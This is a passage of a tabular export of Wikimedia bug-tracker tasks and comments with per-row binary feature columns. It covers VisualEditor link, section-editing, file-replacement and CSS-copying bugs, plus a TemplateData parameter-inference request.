+**Severity**: normal",Low,25.0,1375943460,1402552412.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ga36aloq6psrxy7t2mlx,task_description,resolved,True,c1,3,False,False,False,5,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+245761,VisualEditor: Links can point to wrong page if not matching case exactly and when not first option in the list,In fixing bug 50452 we have changed the behaviour slightly regarding this - not sure if it's still necessary to keep this open?,,,1378766470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ga36aloq6psrxy7t2mlx,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+245755,VisualEditor: Links can point to wrong page if not matching case exactly and when not first option in the list,"This happens in every case where:
+* the input text case INsensitively matches an entry >= 2nd in the list, AND
+* the input text case sensitively does NOT match the title of any in the list, AND
+* the user selects the case insensitive match
+
+It doesn't matter whether the text was entered in the link dialog or selected on the editing surface.",,,1378424550,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ga36aloq6psrxy7t2mlx,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+245748,VisualEditor: Links can point to wrong page if not matching case exactly and when not first option in the list,"**sandrobt.wiki** wrote:
+
+Ok, note taken. Though, a bug that inserts the wrong link in a pretty large variety of situation, despite selecting the correct one and without giving any clue of having done so, is a pretty seriuos problem and has probably alredy produced quite a lot of wrong wikilinks.",,,1375945790,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ga36aloq6psrxy7t2mlx,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+245742,VisualEditor: Links can point to wrong page if not matching case exactly and when not first option in the list,"[resetting severity, see http://www.mediawiki.org/wiki/Bugzilla/Fields#Severity ]",,,1375945480,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ga36aloq6psrxy7t2mlx,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1
+54581,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"if the template does not contain explicit ""templatedata"", the API call should return auto-generated ""templatedata"" structure, distilled from the template itself.
+
+
+it's trivial to do - basically parse the template, extract parameter names (including order based, aka 1,2,3), and return ""default"" templatedata where every param is of type string, without any special attributes (default, required, etc.)
+
+this 15-line enhancement will make VE suddenly useful for templates, without detracting anything from current functionality.
+
+we did this in hewiki with ""template param wizard"" (the equivalent of VE template editor, for the old wikitext editor), and it enhanced the wizard's functionality tenfold.
+
+regretfully i can't submit a patch - hopefully someone else will be able to do so.
+
+peace.
+
+--------------------------
+
+**See Also**:
+{T54135} / https://bugzilla.wikimedia.org/show_bug.cgi?id=52135",Low,25.0,1375804800,1526505693.0,PHID-USER-akv4ingxkspiiam6r2n4,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_description,duplicate,True,c1,3,False,False,False,5,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+787926,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"Change 257684 abandoned by Eranroz:
+Guess parameters when templatedata is missing
+
+[[https://gerrit.wikimedia.org/r/257684]]",,,1483655816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,183,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+575115,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"Change 257684 had a related patch set uploaded (by Eranroz):
+Guess parameters when templatedata is missing
+
+[[https://gerrit.wikimedia.org/r/257684]]
+",,,1449605074,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,127,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+457689,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,">>! In T54581#1271501, @Krinkle wrote:
+> .... Possibly with a warning outputted alongside the object. Similar to how MediaWiki's query api communicates things like ""warnings"", ""normalized"", and ""badrevids"".
+
+maybe so, but maybe it should not be ""warning"". 
+a new field can be added to the record returned by the API, e.g. ""synthetic"" or somesuch, to indicate tempaltedata was generated synthetically, and the template itself does not contain ""templatedata"" tag.
+
+peace.
+
+",,,1431449493,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,97,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1
+455850,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"The TemplateData editor now supports scanning the template source code and inferring a list of parameter names to bootstrap the documentation editor.
+
+We can use the same logic server-side to provide a basic TemplateData object for templates lacking it. Possibly with a warning outputted alongside the object. Similar to how MediaWiki's query api communicates things like ""warnings"", ""normalized"", and ""badrevids"".",,,1431058046,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,True,,,96,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+242486,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"for many many simple templates, just getting the list of parameter names is enough for even moderately experienced editors. 
+the editor may even be well familiar with the template, but she does not necessarily remembers the exact name (case sensitive) of every parameters.
+
+
+regarding your 2nd use case: are you aware that this tool (prepopulate templatedata editor) is already written and working?
+
+written by wmf volunteer (intern? gsoc student? not sure), [[mw:. User:Mooeypoo]], and works on hewiki for quite some time. 
+this tool already includes ""import parameters from template"" button - last time i checked, it was working quite well. 
+
+see [[mw:MediaWiki:Gadget-templatedata-core.js]], function ""importtemplateparams()""
+
+if your comment meant to describe it rather than suggesting to build it, i apologize for the confusion.
+
+bottom line: having templatedata is good, but when it does not exist, just seeing the list of parameters (including unpopulated) is hugely perferrable to not seeing them.
+
+peace.",,,1400794505,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,46,,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,1
+242477,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"So this ""guess template data"" parser would be useful in two cases:
+
+* Consumers of TemplateData (e.g. VisualEditor)
+
+They could pass a parameter to the API of TemplateData to trigger this parser as fallback. The generated data would presumably be flagged in some way to allow consumers to identify them as such.
+
+* TemplateDate editor
+
+A button to prefill the template data (e.g. use the default data as a start and edit from there). This should not be misused to populate <templatedata> tags on a bunch of pages, this is only useful if users provide data beyond what is inferred (the inferred data is unlikely to ever be satisfactory as at best it can provide which parameters exist and maybe which are optional).",,,1400616454,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,True,,,46,,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,1,1
+242471,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"(In reply to comment #4)
+> i did it long ago, and published it on
+> [[en:Wikipedia:WikiProject_User_scripts/Scripts#Scripts]]. the script page on
+> enwiki is [[en:User:קיפודנחש/TemplateParamWizard]].
+
+See also
+https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_103#Template_Parameter_Wizard
+(mentioned on bug 39598 comment 1)
+
+> -- ""Choices"": this allows the designer to declare that a certain parameter
+> has
+> a fixed set of ""legal"" values. very useful when the template uses a parameter
+> as an input for {{#switch:
+
+Bug 51375.
+
+> -- ""Depends on"": only expose this field if some other field is not empty.
+
+Bug 50407.",,,1383413267,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,17,,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+242465,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"The status was recently changed to ""Assigned"", but the ""Assigned to"" field was left as ""Nobody"". 
+is Mr. (or Ms.) ""Nobody"" a new developer on the team?
+
+peace.",,,1377790501,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0
+242460,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"Thanks so much for the nice words, but... 
+This entry is about templatedata, not templatewizard.
+
+the information i brought above relating to TW was meant as ""what templatedata can learn from TW"" - if you'd like to discuss TW and its use on enwiki, it should be discussed on enwiki, not here.
+
+peace.",,,1375977047,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+242453,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"Thank you so much. It works beautifully. I couldn't test it in Hebrew WP because it is situated in the edit toolbar which was disabled by me because I feel more comfortable to type everything with my keyboard. But anyway, the gadget's performance is smooth even while editing large article like ""United States"" in English WP. The only few issues I can think of right now after tried it a bit are, I don't feel the toolbar is the proper place for the gadget icon. It deserves a more visible location in the edit page. The other thing I hope to improve is that I need to select the whole markups of existing template from ""{{"" to ""}}"" in order to edit it in the Wizard. For large infobox template which has lot of parameters filled, it could be little bit inefficient to trigger. I suggest the end of the selection of the markup extends to the first vertical bar near the template name, so only selecting like this ""{{templatename|"", works the same way as ""{{templatename|foo|bar}}"".",,,1375976428,,PHID-USER-xnvlg7y5phtzugavv6wj,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+242448,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"i did it long ago, and published it on [[en:Wikipedia:WikiProject_User_scripts/Scripts#Scripts]]. the script page on enwiki is [[en:User:קיפודנחש/TemplateParamWizard]]. the script source itself is practically identical to the hewiki one, except maybe some recent enhancement(s) to the hewiki script (for instance, by default, the wizard does not leave empty parameters on the page, but some users asked for this as an option, so now the hewiki script learned to support on more option).
+
+
+the wizard uses a similar construct to ""templatedata"", but instead of having this information on the template page, it uses a subpage with a fixed name (in enwiki, this fixed name is ""Parameters"", so for Template:Foo, the templatedata equivalent will be in Template:Foo/Parameters).
+
+when the subpage does not exist, the wizard extracts the list of parameter names from the template itself, with some fixed attributes (for instance, in this case it assumes that each parameter is ""multiline"")
+
+i believe there are several people on enwiki who actually use this (at least there were) - you probably want to ask them about their experience (something like
+
+https://en.wikipedia.org/w/index.php?title=Special%3ASearch&profile=advanced&search=TemplateParamWizard+intitle%3Ajs&fulltext=Search&ns2=1&redirs=1&profile=advanced
+
+
+
+the wizard supports some attributes that, to the best of my knowledge, ""templatedata""/VE do not support yet, which i think would be good ideas:
+
+-- ""Extended"": this allows the designer to designate some fields as ""secondary"", which means they are not visible when the form opens. if there is at least one ""Extended"" parameter, the form will grow a new checkbox ""Show all fields"", which allows the user to show/hide the ""Extended"" fields.
+
+-- ""Choices"": this allows the designer to declare that a certain parameter has a fixed set of ""legal"" values. very useful when the template uses a parameter as an input for {{#switch:
+
+-- ""Depends on"": only expose this field if some other field is not empty. very useful for templates with many repetitions (e.g., [[en:Template:Track listing]]: you make ""title4"" depend on ""title3"", and then ""note4"", ""writer4"", ""lyrics4"", ""music4"", ""extra4"", ""length4"", and finally ""title5"" all depend on ""title4""). without this feature, the wizard is much less useful for templates of this type.
+
+
+peace.",,,1375969237,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+242441,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,Hi kipod. I can't understand Hebrew language and I have some trouble to test it in Hebrew Wikipedia. Can you translate the gadget to English Wikipedia under your own userspace? Thank you.,,,1375948802,,PHID-USER-xnvlg7y5phtzugavv6wj,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+242435,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"https://he.wikipedia.org/wiki/Mediawiki:Gadget-TemplateParamWizard.js
+
+the function is called buildParamsRaw() (""data"" is the raw template page).
+
+i cannot guarantee that it always works flawlessly, but the wizard works on hewiki  for a while now (more than a year), and i did not get any bug reports (i did have some bug reports for previous versions).
+
+i think it is possible to intentionally create a legal template that will give bad results there: specifically, this function does not take ""nowiki"" and ""noinclude"" tags into account.
+
+OTOH, it uses only 9 out of the budget of 15, so you have 6 lines to augment those shortcomings...
+
+more seriously: i assumed the codebase already have non-negligible amount of logic that can be used to distill the parameter list of a template. 
+
+(full disclosure: i too did not believe it can be done without tons of code - Eran Roz showed me the light)",,,1375942161,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0
+242429,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"I very much look forward to a link to the part of the hewiki wizard that implements this logic. I very much doubt it can be done (or done well) in 15 lines of code, and I very much doubt it's trivial or even easy to do it well.",,,1375931029,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,5,,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+54580,VisualEditor: Allow replacing file by changing the file name,"To replace a file it is currently neccessary to delete the file from the page and insert the new one.
+
+It would be easier to replace the filename only. This avoids to add caption and file options again.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1375804620,1402608867.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-atfd2medq2qoyjgabdcf,task_description,resolved,True,c1,3,False,False,False,5,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+242398,VisualEditor: Allow replacing file by changing the file name,"
+
+*** This bug has been marked as a duplicate of bug 51033 ***",,,1402608867,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-atfd2medq2qoyjgabdcf,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+242394,VisualEditor: Allow replacing file by changing the file name,"I'm not sure there's a great way to merge the experience of adding a media item and the one for editing one, but this seems a reasonable extension.",,,1383281015,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-atfd2medq2qoyjgabdcf,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+54566,"VisualEditor: When section edit is initiated with an actual page load, VE does not navigate to the section","When VisEd is activated from a section edit link, the focus of the display normally stays on that section.  However, if the user activates from a section edit link while on a diff link (has to be diff of current version), the focus shifts to the top of the page as if the whole page edit link had been pressed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1375747320,1399312671.0,PHID-USER-imut7wxehhy35ukuzaks,False,,False,PHID-TASK-cvljbzolxfeydqmcoo2c,task_description,resolved,True,c1,3,False,False,False,5,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+241629,"VisualEditor: When section edit is initiated with an actual page load, VE does not navigate to the section","Change 131415 merged by jenkins-bot:
+Generate PHP VE edit section with correct parameter, vesection
+
+https://gerrit.wikimedia.org/r/131415",,,1399312738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cvljbzolxfeydqmcoo2c,task_subcomment,,True,c1,3,False,,,44,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241624,"VisualEditor: When section edit is initiated with an actual page load, VE does not navigate to the section","Thanks, Matt!",,,1399312671,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cvljbzolxfeydqmcoo2c,task_subcomment,,True,c1,3,True,,,44,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+241621,"VisualEditor: When section edit is initiated with an actual page load, VE does not navigate to the section","Change 131415 had a related patch set uploaded by Mattflaschen:
+Generate PHP VE edit section with correct parameter, vesection
+
+https://gerrit.wikimedia.org/r/131415",,,1399259020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cvljbzolxfeydqmcoo2c,task_subcomment,,True,c1,3,False,,,44,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241615,"VisualEditor: When section edit is initiated with an actual page load, VE does not navigate to the section","This is just a special case.  The general issue is that VE does not navigate to the section when a section edit is initiated with a fresh page load (it does when it uses the AJAX switch to editing without a page load).  For example, https://en.wikipedia.org/w/index.php?title=Earth&veaction=edit&section=6 .  It appears in this case because VE (there is a comment to this effect) uses a new page load to start section editing when it's showing the latest diff (to deal with another issue).
+
+This applies any time the user is sent directly to edit a section via VE.  For the Growth team's current project, we will allow the user to click ""Sign up and edit"" (including for sections).  This works using the normal signup page, with the returnto and returntoquery parameters.  That means we can not do an AJAX switch.
+
+Besides login/signup, there are other (albeit less common) reasons you might want to link directly to a section edit URL.",,,1399258028,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-cvljbzolxfeydqmcoo2c,task_subcomment,,True,c1,3,True,,,44,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0
+54558,"When a link goes to a redirect, show the final destination as a tooltip (title attribute)","Wikis use lots of shortcuts on the talk pages, and it can be quite frustrating for the uninitiated to figure out what WP:MOS, WP:N etc. mean, especially when several are used at once.
+
+Having to click on the link to see that its about the 'Manual of Style' or 'Notability' would be unnecessary, if the same information was available in the tooltip when hovering the link.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Low,25.0,1375731240,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,False,PHID-TASK-btbym6mlgax3tzzbkzr4,task_description,open,True,c1,3,False,False,,5,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+241122,"When a link goes to a redirect, show the final destination as a tooltip (title attribute)","I was thinking when reading.
+
+Now that you mention it, it would probably be useful for VisualEditor as well, but I think that can be its own bug.
+
+(updating the summary to clarify)",,,1375791803,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-btbym6mlgax3tzzbkzr4,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+241115,"When a link goes to a redirect, show the final destination as a tooltip (title attribute)","In which exact situation should the tooltip be shown? 
+Is this about reading? Editing?",,,1375790948,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-btbym6mlgax3tzzbkzr4,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+54486,VisualEditor: Copying of styles to dialog frame is dirty,"Screenshot where it works (VE copied it from <style>)
+
+When VE copies styles into the frame, in the case of copying from a friendly <link> tag (e.g. one that is readable, we inspect it and copy the contents over, as opposed to a foreign one we have to fetch again from the iframe).
+
+In that case, the css we manage to extract from the remote <link> appears to be dirty and neither strictly or effectively roundtrips. Both the actual css it copied and the effective values are different.
+
+For example, in the case of ""background: none;""  it gets dirtied to ""background-image: none; background-position: initial initial; background-repeat: initial initial;"". Which means it no longer overrides background-color.
+
+Now, in some browsers background: none (old IE iirc) is indeed interpreted as the above, and it would be reasonable behaviour of it expands it to what it interprets it as.
+
+However in the case of Chrome, it does't just normalise but actually gives us values that don't match. See attached screenshots.
+
